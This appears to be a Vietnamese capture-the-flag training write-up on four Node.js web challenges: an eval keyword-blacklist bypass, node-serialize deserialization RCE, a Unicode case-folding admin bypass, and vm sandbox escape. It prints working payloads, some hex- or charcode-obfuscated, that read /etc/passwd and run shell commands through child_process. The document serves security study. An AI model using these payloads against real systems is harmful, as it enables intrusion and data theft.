# Week1
### Task 1: eval
##### 0x1: Recon
```
var express = require("express");
var app = express();
function isSafeInput(input) {
var unsafeKeywords = ['system', 'child_process', 'exec', 'spawn', 'eval'];
for (var i = 0; i < unsafeKeywords.length; i++) {
if (input.includes(unsafeKeywords[i])) {
return false;
}
}
return true;
}
app.get('/eval', function(req, res) {
var input = req.query.q;
if (!isSafeInput(input)) {
res.send("Invalid input. Contains unsafe keywords.");
return;
}
res.send(eval(input));
console.log("Input: ", input);
});
var server = app.listen(8888, function() {
console.log("app run in http://127.0.0.1:8888/");
});
```
Mở đầu với exam đầu tiên, em thấy challenge cung cấp đoạn code bằng js cho phép ta truyền ```req.query.q``` vào input sau đó chạy ```eval(input)```. Tuy nhiên trước khi input được truyền vào eval nó có vẻ đã sanitized bởi function ```isSafeInput()```. Nếu ```blacklist``` trên chứa trong ```input``` thì sẽ in ra ```Invalid input. Contains unsafe keywords``` nếu không sẽ thực thi ```eval```, ```eval``` là hàm giúp ta thực thi câu lệnh javascript được truyền vào dưới dạng chuỗi. Tuy nhiên cũng chính vì điều đó mà ta có thể truyền các đoạn ```evil data``` vào input dẫn đến việc thực thi code injection
Hãy ví dụ một đoạn code cơ bản như sau :

Output trả về là :

Thế nhưng đoạn code trên lại không có một filter nào ta dễ dàng có thể thực thi các đoạn script khai thác dẫn tới lỗ hổng code injection


##### 0x2: Exploit
Như đã trình bày ở trên, ta có thể dễ dàng khai thác ```eval()``` thông qua một vài payload như sử dụng ```require('child_process')```, nhưng đối với đoạn code đã đề cập từ đầu có vẻ authors đã sử dụng blacklist để filters đoạn ```untrusted data``` ta truyền vào. Tuy nhiên blacklist lại không quá dài, mà vẫn còn một số một số command ta có thể tận dụng. Đối với exam này em sử dùng ```fs``` packages.
Trong Node.js, module ```fs``` (file system) cung cấp các phương thức để tương tác với hệ thống tệp và thư mục. Nó cho phép ta thực hiện các thao tác như đọc/ghi file, kiểm tra sự tồn tại của file hoặc thư mục, xóa file, và nhiều tác vụ khác liên quan đến quản lý file system.
Em build một đoạn code để có thể test trên máy
```
input = "require('fs').readFileSync('/etc/passwd').toString()"
const unsafeKeywords = ['system', 'child_process', 'exec', 'spawn', 'eval'];
function isSafeInput(input) {
for (let i = 0; i < unsafeKeywords.length; i++) {
if (input.includes(unsafeKeywords[i])) {
return false;
}
}
return true;
}
if (!isSafeInput(input)) {
console.log("Invalid input. Contains unsafe keywords.");
return;
}
try {
const result = eval(input);
console.log("Result: ", result);
} catch (error) {
console.error("Error executing input:", error);
}
```
Em sử dụng payload sau ```require('fs').readFileSync('/etc/passwd').toString()```
trong đó
- require('fs'): gọi ```fs``` packages
- .readFileSync('/etc/passwd'): Phương thức readFileSync của module fs được sử dụng để đồng bộ đọc nội dung của một file.
- .toString(): Phương thức này chuyển đổi dữ liệu đọc từ file (mà ban đầu là buffer) thành chuỗi.
Ta có đã bypass blacklist thành công

Và dễ dàng để lấy được flag

##### 0x3: Other exploit
##### 0x3.1: Using ```Reflect```
Đối với exam trên thì em thấy có vẻ blacklist vẫn còn chưa đủ an toàn, liệu nếu blacklist có độ bao phủ lớn hơn thì liệu có cách bypass nào khác không
Theo kinh nghiệm của em thì có một số cách ta có thể dùng như ```Object.keys``` hoặc sử dụng ```Refect```
Trong JavaScript, ta cần sử dụng từ khóa ```Reflect``` để thực hiện tương quan (reflection). Để gọi một hàm cụ thể, ví dụ như hàm eval, ta có thể sử dụng các phương thức của ```Reflect``` như sau:
Sử dụng ```Reflect.ownKeys(global)``` để lấy tất cả các khóa của đối tượng global (hoặc window trong môi trường trình duyệt).
Sử dụng ```Reflect.ownKeys(global).find(x => x.includes('eval'))``` để tìm kiếm khóa chứa chuỗi ```'eval'``` trong tất cả các khóa của đối tượng ```global.```
Cuối cùng, sử dụng ```global[Reflect.ownKeys(global).find(x => x.includes('eval'))]``` để truy cập hàm ```eval```.

Sau đó thì ta dễ dàng thực hiện RCE để có thể khai thác
```
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("id")')
```
Mặc dù vậy có một số key trong blacklist, vì các từ khóa như ```"mainModule"```, ```"global"```, ```"child_process"``` và các từ khác đều xuất hiện trong chuỗi, chúng có thể được mã hóa bằng cách sử dụng phương pháp khác nhau ở đây em dùng hex:
```
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x69\x64\x22\x29\x27\x29')
```
Tuy nhiên có vẻ ta vẫn chưa bypass được ```eval``` thì có một trick nhỏ ở đây là thay vì sử dụng như trên ta có thể thay thế bằng
```global[Reflect.ownKeys(global).find(x=>x.includes('eva'))]```


##### 0x3.2: Bypass brackets
Tuy nhiên có một vài bài cũng có thể filter thêm cả ```[]```, ta lại có thể sử dụng ```Reflect.get```
```
Phương thức Reflect.get(target, propertyKey[, receiver]) được sử dụng để lấy giá trị của một thuộc tính cụ thể trên đối tượng, tương tự như target[name].
```

### Task 2: node-serializer
##### 0x01: Recon
```
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var bodyParser = require('body-parser');
var app = express();
var path = require('path');
app.use(cookieParser());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.set('view engine', 'ejs');
app.get('/', (req,res) => {
res.render('home.ejs');
});
app.post('/', (req,res) => {
res.render('loggedin.ejs')
});
app.get('/guest', function(req, res) {
res.render('guest.ejs');
});
app.post('/guest', function(req, res) {
if (req.cookies.guest) {
var str = new Buffer(req.cookies.guest, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
res.send("Hello " + escape(obj.username) + ". This page is currently under maintenance for Guest users. Please go back to the login page");
}
} else {
var username = req.body.username
var country = req.body.country
var city = req.body.city
var serialized_info = `{"username":"${username}","country":"${country}","city":"${city}"}`
var encoded_data = new Buffer(serialized_info).toString('base64');
res.cookie('guest', encoded_data, {
maxAge: 900000,
httpOnly: true
});
}
res.send("Hello!");
});
app.listen(process.env.PORT || 7777);
console.log("Listening on port 7777...");
```
Nhìn vào server.js, ta có thể thấy rằng có một kiểm tra để xem liệu "guest" token có được truyền trong cookie hay không. Nếu có, giá trị của token "guest" sẽ được truyền vào hàm unserialize() của module node-serialize. Có vẻ nó tồn lại một lỗ hổng về node deserialize. Em check phiên bản ```node-serialize``` là ```^0.0.4``` thì có vẻ trong ```node-serialize 0.0.4``` tồn tại ```CVE-2017-5941```
*CVE-2017-5941 là một lỗ hổng khai thác deserialization trong framework JavaScript của node.js. Node.js được sử dụng rộng rãi trên web trong các ứng dụng web hiện đại, và bất kỳ phiên bản nào chưa được vá lỗ hổng và sử dụng deserialization đều có thể bị tấn công.CVE-2017-5941 tận dụng thời điểm chuyển đổi trong quá trình deserialization, nơi đối tượng đã được serialization được xử lý và đưa vào bộ nhớ. Điều này được thực hiện bằng cách serialize một "immediately invoked function" vào đối tượng.*
###### Object Deserialization
```
Deserialization in Node.js is the process of converting data from a serialized format, such as JSON or binary data, back into its original native format, typically JavaScript objects or data structures. This process is essential for extracting meaningful information from serialized data, allowing you to work with it in your Node.js application.
```
Em build thử một đoạn source code trên máy
```
var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
```

Ta có thể thấy trong ví dụ rằng khi một hàm được chuỗi hóa, đoạn ```_$$ND_FUNC$$_``` được thêm vào đối tượng đã được chuỗi hóa.

Nếu ```_$$ND_FUNC$$_``` được tìm thấy thì hàm eval sẽ được thực thi deserialize, nghĩa là input đầu vào sẽ được thực thi trong thân hàm ```eval```. Hàm ```eval``` được sử dụng để thực thi bằng cách loại bỏ ```_$$ND_FUNC$$_``` và thêm ```()```.

Do đó để tự động hóa đoạn code, ta có thể xóa phần lời gọi hàm cùng ```()``` hướng tới việc **execute a JS oneliner**
Tuy nhiên, vấn đề ở đây là việc thực thi đoạn payload sẽ không xảy ra cho đến khi bạn ta kích hoạt hàm tương ứng với thuộc tính ```rce ```của đối tượng.
```
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'cat /etc/passwd\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
```
Do đó, chúng ta có thể sử dụng biểu thức hàm ngay lập tức của JavaScript [Immediately Invoked Function Expression - IIFE](https://developer.mozilla.org/en-US/docs/Glossary/IIFE) để gọi hàm. Nếu chúng ta sử dụng dấu ngoặc ```()``` sau thân hàm, hàm sẽ được gọi khi đối tượng được tạo. Điều này hoạt động tương tự như một ```constructor``` lớp trong C++

Em thử test với challenge nhưng nó có vẻ gặp lỗi, có vẻ nó ở việc sử dụng `\'` ```SyntaxError: Bad escaped character in JSON at position 47```

Google search thì em phát hiện ra là ta cần chuyển `\'` sang `\"`. Tuy nhiên ta sẽ không có được flag vì ```escape(obj.username)```. Do ta chưa gọi tới ```username``` nên khi truyền payload vào khiến việc server không trả về flag.
##### Hướng 1: Ta có thể sử dụng OOB để có thể call flag ra ngoài bằng cách sử dụng một số như ```cURL``` hay ```wget```


##### Hướng 2: Gọi trực tiếp username lúc serialize để có thể trả về flag
```
_$$ND_FUNC$$_function username() {return require('child_process').execSync('cat /flag.txt')}()
```

##### Hướng 3: Thay vì sử dụng ```child_process``` ta cũng có thể dùng ```fs```
```
_$$ND_FUNC$$_function username() {return require('fs').readFileSync('/flag.txt')}()
```

##### Hướng 4: Ta cũng có thể tận dụng việc sử dụng ```String.fromCharCode()``` để có thể encode đoạn payload sử dụng dưới dạng hex
```
eval(String.fromCharCode(114, 101, 113, 117, 105, 114, 101, 40, 39, 102, 115, 39, 41, 46, 114, 101, 97, 100, 70, 105, 108, 101, 83, 121, 110, 99, 40, 39, 47, 102, 108, 97, 103, 46, 116, 120, 116, 39, 41))
```

### Task 3: special_char
##### 0x1: Recon
```
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const app = express();
const port = 3000;
const adminUsername = "kcsc";
const FLAG = fs.readFileSync('/flag.txt', 'utf8');
app.use(bodyParser.json());
function isValidUser(username) {
return (
username.length >= 3 &&
username.toUpperCase() !== adminUsername.toUpperCase()
);
}
function isAdmin(username) {
return username.toLowerCase() == adminUsername.toLowerCase();
}
app.post('/login', (req, res) => {
const user = req.body.username;
if (!user) {
return res.status(400).json({ error: 'Missing username' });
}
if (!isValidUser(user)) {
return res.status(400).json({ error: 'Invalid username' });
}
if (isAdmin(user)) {
return res.json({ message: 'KCSC Admin login successful ' + FLAG });
} else {
return res.json({ message: 'Guest login successful' });
}
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
```
Nhìn sơ qua đoạn code, ta có thể chú ý ngay cách xử lý ```username``` truyền vào thông qua hai function là ```isValidUser``` và ```isAdmin```. Để lấy được ```FLAG```
thì có vẻ ```username``` truyền vào phải có ```length``` > 3 khi xử lý ```toUpperCase()``` thì phải trả result !== ```adminUsername.toUpperCase()``` và ```toLowerCase()``` == ```adminUsername.toLowerCase```. Trong việc xử lý ```upper``` và ```lower```, sẽ có những kí tự khi được xử lý sẽ trả về những giá trị khác với ban đầu. Ta có thể sử dụng nó để có thể bypass qua hai hàm ```isValidUser``` và ```isAdmin```.
Em có thử build một đoạn script:
```
import string
print("Lower: ")
for i in range(1000000):
key = chr(i)
for j in string.ascii_lowercase:
if (key.lower() == j):
print(f"({i}, '{key}', '{key.lower()}'), ", end="")
```
Nó sẽ trả về những kí tự sau khi xử lý ```lower``` sẽ trả về kí tự giống với kí tự trong ```ascii_lowercase```

Ở đây ngoài các kí tự thông thường ta tìm được một kí tự ở ```8490``` là ```K``` sẽ trả về ```k```. Như vậy, ta có thể sử dụng chuỗi ```Kcsc``` truyền vào ```username``` để có bypass qua hai hàm đã trình bày ở trên
```
import requests
url = "https://8b70-58-186-45-182.ngrok-free.app/login" # Replace with the actual URL of your server
admin_user_data = {"username": "Kcsc"} # Replace with the admin username
# Send a request for an admin user
admin_user_response = requests.post(url, json=admin_user_data)
print("Admin User:", admin_user_response.json())
```
Và flag được trả về

Ngoài việc xử lý ```lower```, có những ký tự khi đi qua ```upper``` cũng sẽ trả về các result rất thú vị
```
import string
print("\nUpper: ")
for i in range(100000):
key = chr(i)
for j in string.ascii_uppercase:
if(key.upper() == j):
print(f"({i}, '{key}', '{key.upper()}'), ", end="")
```
```
(65, 'A', 'A'), (66, 'B', 'B'), (67, 'C', 'C'), (68, 'D', 'D'), (69, 'E', 'E'), (70, 'F', 'F'), (71, 'G', 'G'), (72, 'H', 'H'), (73, 'I', 'I'), (74, 'J', 'J'), (75, 'K', 'K'), (76, 'L', 'L'), (77, 'M', 'M'), (78, 'N', 'N'), (79, 'O', 'O'), (80, 'P', 'P'), (81, 'Q', 'Q'), (82, 'R', 'R'), (83, 'S', 'S'), (84, 'T', 'T'), (85, 'U', 'U'), (86, 'V', 'V'), (87, 'W', 'W'), (88, 'X', 'X'), (89, 'Y', 'Y'), (90, 'Z', 'Z'), (97, 'a', 'A'), (98, 'b', 'B'), (99, 'c', 'C'), (100, 'd', 'D'), (101, 'e', 'E'), (102, 'f', 'F'), (103, 'g', 'G'), (104, 'h', 'H'), (105, 'i', 'I'), (106, 'j', 'J'), (107, 'k', 'K'), (108, 'l', 'L'), (109, 'm', 'M'), (110, 'n', 'N'), (111, 'o', 'O'), (112, 'p', 'P'), (113, 'q', 'Q'), (114, 'r', 'R'), (115, 's', 'S'), (116, 't', 'T'), (117, 'u', 'U'), (118, 'v', 'V'), (119, 'w', 'W'), (120, 'x', 'X'), (121, 'y', 'Y'), (122, 'z', 'Z'), (305, 'ı', 'I'), (383, 'ſ', 'S')
```
Ở trên ta có thể thấy các ký tự ```ı``` -> ```I```, ```ſ``` -> ```S```
### Task 4: vm_sandbox
##### 0x1: Recon
```
const express = require('express');
const path = require('path');
const vm = require('vm');
const app = express();
app.get('/code', function (req, res, next) {
let output = '';
const code = req.query.code + '';
if (code) {
try {
const result = vm.runInNewContext(code);
output = result;
} catch (e) {
output = 'error occurred';
}
} else {
output = 'invalid code';
}
res.send(output);
});
var server = app.listen(8888, function() {
console.log("app run in http://127.0.0.1:8888/");
});
```
1. **sandbox**
Khi chúng ta thực hiện chạy một số chương trình có thể gây hại, không thể thử nghiệm trực tiếp trong môi trường thực tế của máy chủ. Do đó, chúng ta có thể tạo ra một môi trường chạy mã code mà nó hoàn toàn cô lập với máy chủ, nhưng vẫn sử dụng tài nguyên phần cứng của máy chủ. Việc chạy mã code có thể gây hại trong một sandbox chỉ ảnh hưởng đến nội dung của sandbox mà không tác động đến các chức năng của máy chủ.Cơ chế hoạt động của sandbox chủ yếu dựa vào việc chuyển hướng (redirect). Điều này có nghĩa là khi mã code độc hại được thực thi, mục tiêu thực thi của nó sẽ được chuyển hướng (redirect) từ môi trường chạy chính của máy chủ sang một môi trường chạy độc lập, tức là sandbox. Do đó, bất kỳ ảnh hưởng gây hại nào từ mã code độc hại sẽ chỉ xuất hiện trong sandbox, mà không làm ảnh hưởng đến các chức năng quan trọng của máy chủ.
2. **vm sandbox escape**
- ```vm.runInThisContext(code)```:Tạo một sandbox trong phạm vi global hiện tại và thực thi mã được truyền vào như là tham số. Sandbox này có thể truy cập các thuộc tính trong global nhưng không thể truy cập các thuộc tính trong các module khác.

```
const vm = require('vm');
let localVar = 'initial value';
const vmResult = vm.runInThisContext('localVar = "vm";');
console.log('vmResult:', vmResult);
console.log('localVar:', localVar);
// vmResult: 'vm', localVar: 'initial value'
```
- ```vm.createContext([sandbox])```:Trước khi sử dụng, cần tạo một đối tượng ```sandbox```, sau đó chuyển đối tượng ```sandbox``` này làm tham số cho phương thức (nếu không có, một đối tượng sandbox rỗng sẽ được tạo tự động). V8 (JavaScript Engine) tạo ra một phạm vi mới bên ngoài global hiện tại cho đối tượng sandbox. Lúc này, đối tượng sandbox trở thành đối tượng toàn cục của phạm vi mới được tạo, và bên trong sandbox, không thể truy cập các thuộc tính trong global
- ```vm.runInContext(code, contextifiedSandbox[, options])```:Hàm ```vm.runInContext(code, contextifiedSandbox[, options])``` có hai tham số: ```code``` là đoạn mã cần thực thi và ```contextifiedSandbox``` là đối tượng sandbox đã được tạo. Mã sẽ được thực thi trong ngữ cảnh của đối tượng sandbox đã truyền vào và giá trị của các tham số sẽ giống như trong sandbox đó.

```
const util = require('util');
const vm = require('vm');
global.globalVar = 3;
const sandbox = { globalVar: 1 };
vm.createContext(sandbox);
vm.runInContext('globalVar *= 2;', sandbox);
console.log(util.inspect(sandbox)); // { globalVar: 2 }
console.log(util.inspect(globalVar)); // 3
```
- Hàm ```vm.runInNewContext(code[, sandbox][, options])``` là sự kết hợp của ```createContext``` và ```runInContext```. Nó nhận vào mã cần thực thi (code), một đối tượng sandbox và tùy chọn (options).
- ```vm.Script``` là một lớp trong Node.js cho phép bạn biên dịch và chạy đoạn mã JavaScript trong một ngữ cảnh cụ thể. Các đối tượng của lớp `vm.Script` chứa các đoạn mã đã được biên dịch trước và có thể được thực thi nhiều lần trong một hoặc nhiều `sandbox`.
```
const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }
```
```script``` có thể được chạy thông qua `runInXXXContext`
Thường khi thực hiện thoát khỏi sandbox, chúng ta cần thực hiện RCE (Remote Code Execution). Trong NodeJS, để thực hiện RCE, chúng ta cần sử dụng đối tượng ```process```. Sau khi có được đối tượng `process`, chúng ta có thể sử dụng `require` để nhập `child_process` và sau đó sử dụng `child_process` để thực thi các lệnh. Tuy nhiên, `process` được gắn kết vào global, nhưng như chúng ta đã nói ở trên, sau khi tạo một ngữ cảnh mới (createContext), không thể truy cập được đến `global`. Vì vậy, mục tiêu cuối cùng của chúng ta là thông qua các phương tiện khác nhau để đưa đối tượng `process` được gắn kết trên global vào trong môi trường sandbox.
```
"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1);
```

Vậy làm thế nào chúng ta thực hiện vm sandbox escape? Đầu tiên, trong đoạn mã trên, ```this``` trỏ đến đối tượng được chuyển đến hàm ```runInNewContext```. Đối tượng này không thuộc về `sandbox`. Chúng ta sử dụng đối tượng này để lấy `constructor` của nó, sau đó lấy `constructor` của một đối tượng `constructor` (tại thời điểm này là `constructor` của `Function`). Cuối cùng, với `()`, chúng ta gọi hàm được tạo ra bằng `constructor` của `Function`, và cuối cùng trả về một đối tượng `process`.
Nói một cách đơn giản, quá trình này sử dụng một chuỗi các bước để truy cập đến `constructor` của `Function`, sau đó tạo ra một hàm và gọi nó, từ đó thu được đối tượng `process`. Quá trình này giúp chúng ta tránh được các ràng buộc môi trường sandbox và đạt được mục tiêu cuối cùng của việc `sandbox escape`
Đoạn script này cũng có thể đưa ra được kết quả tương tự
```
const a1 = vm.runInNewContext(`this.toString.constructor('return process')()`);
```
Sau đó ta có thể sử dụng `process` để thực thi được RCE
```
a1.mainModule.require('child_process').execSync('whoami').toString()
```
Em test payload trên với challenge và ta có thể thực thi rce thành công

Như vậy, ta có được flag:

##### Other case
```
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
```
Ở đây, với ```this``` đang là ```null``` và không có đối tượng nào khác có thể được tham chiếu, chúng ta cần sử dụng một thuộc tính nội tại của đối tượng hàm, đó là ```arguments.callee.caller```. Thuộc tính này có thể trả về người gọi của hàm. Trong trường hợp này, việc ```sandbox escape``` thực chất là tìm một đối tượng bên ngoài môi trường cát và gọi một trong các phương thức của nó. Trong trường hợp này, chúng ta chỉ cần định nghĩa một hàm trong sandbox, sau đó gọi hàm đó từ bên ngoài sandbox. Khi hàm trong sandbox được gọi, ```arguments.callee.caller```sẽ trả về một đối tượng bên ngoài ```sandbox```. Từ đó, chúng ta có thể thực hiện ```vm sandbox escape```.

Trong sandbox, chúng ta bắt đầu bằng cách tạo một đối tượng, sau đó ghi đè phương thức `toString` của đối tượng đó. Bằng cách này, khi `arguments.callee.caller` được sử dụng trong một hàm ở trong sandbox, nó sẽ trả về một đối tượng bên ngoài sandbox. Tiếp theo, chúng ta sử dụng đối tượng này để truy cập đến constructor của nó, sau đó tiếp tục lấy ```constructor``` của đối tượng `constructor` (trong trường hợp này là `constructor` của `Function`). Khi gọi hàm này thông qua `()`, chúng ta thu được đối tượng `process`. Cuối cùng, chúng ta có thể sử dụng `process` để thực hiện RCE (Remote Code Execution).